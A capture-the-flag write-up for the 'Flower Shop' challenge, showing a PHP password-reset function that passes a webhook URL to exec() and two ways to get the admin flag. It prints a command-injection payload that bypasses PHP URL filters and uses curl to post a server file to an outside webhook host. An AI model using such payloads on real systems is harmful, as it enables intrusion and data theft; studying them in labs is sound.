Flower Shop
Bad news: pay-to-win made it to CTFs. Good news: we paid first.
In this challenge, we’re presented with a basic user management system:
Alright, login, signup, and password reset. Pretty standard stuff. The one difference is in the password reset system. Instead of providing an email, you have to provide a webhook URL.
The Intended Solution
One look at the password reset system and it’s immediately obvious what the vulnerability is.
public function resetPassword() {
$this->wh = $this->checkUser($this->uid);
if (!$this->wh) {
header("location: ../login.php?error=InvalidUser");
exit();
}
$this->tmpPass = $this->tmpPwd($this->uid);
exec("php ../scripts/send_pass.php " . $this->tmpPass . " " . $this->wh . " > /dev/null 2>&1 &");
return $this->tmpPass;
}
A call to exec
? It’s practically asking to be exploited – and you very easily can. The webhook is validated, but the validation is done very insecurely, using PHP filters:
$this->wh = filter_var($wh, FILTER_SANITIZE_URL);
...
if (!filter_var($this->wh, FILTER_VALIDATE_URL)) {
header("location: ../login.php?error=NotValidWebhook");
exit();
}
FILTER_SANITIZE_URL
is the easiest check to get around – it just removes some illegal characters. FILTER_VALIDATE_URL
hypothetically validates the URL against RFC2396, but there are lots of payloads that get around it. The flag is stored in ../admin.php
, so this is about how far we got on the payload before finding our unintentional solution:
0://google.com;curl${IFS}-d${IFS}@../../admin.php${IFS}https://webhook.site/nisala;
This bypasses the URL filter, and allows us to run a command with the insecure use of exec
. We were still ironing out exactly how to use ${IFS}
to get spaces when we found an unintentional solution.
The Unintentional Solution
So the flag is stored at admin.php
, right? What’s stopping us from just going there?
if ($_SESSION['username'] !== "admin" ) {
header("Location: login.php?error=notadmin");
exit();
}
Our username needs to be admin
, huh? Well, we can’t register as admin
, so it’s clearly getting pre-created. Is that in the code?
private function initDB() {
$stmt = $this->connect()->prepare('INSERT INTO users (username, password, webhook)
VALUES ("admin", :password, :webhook)');
$stmt->bindValue(':password', $hashedPwd);
$stmt->bindValue(':webhook', "https://webhook.site/fake");
$stmt->execute();
}
So it seems that admin
’s password resets are being sent to webhook.site/fake
. If we can see those, we can just log in as admin and get the flag. Now, this may seem far-fetched, but… can we control that URL?
Oh my god. So, does that mean…
Yes. Yes it does. Let’s send in a password reset for admin.
And now we just sign in and claim our prize.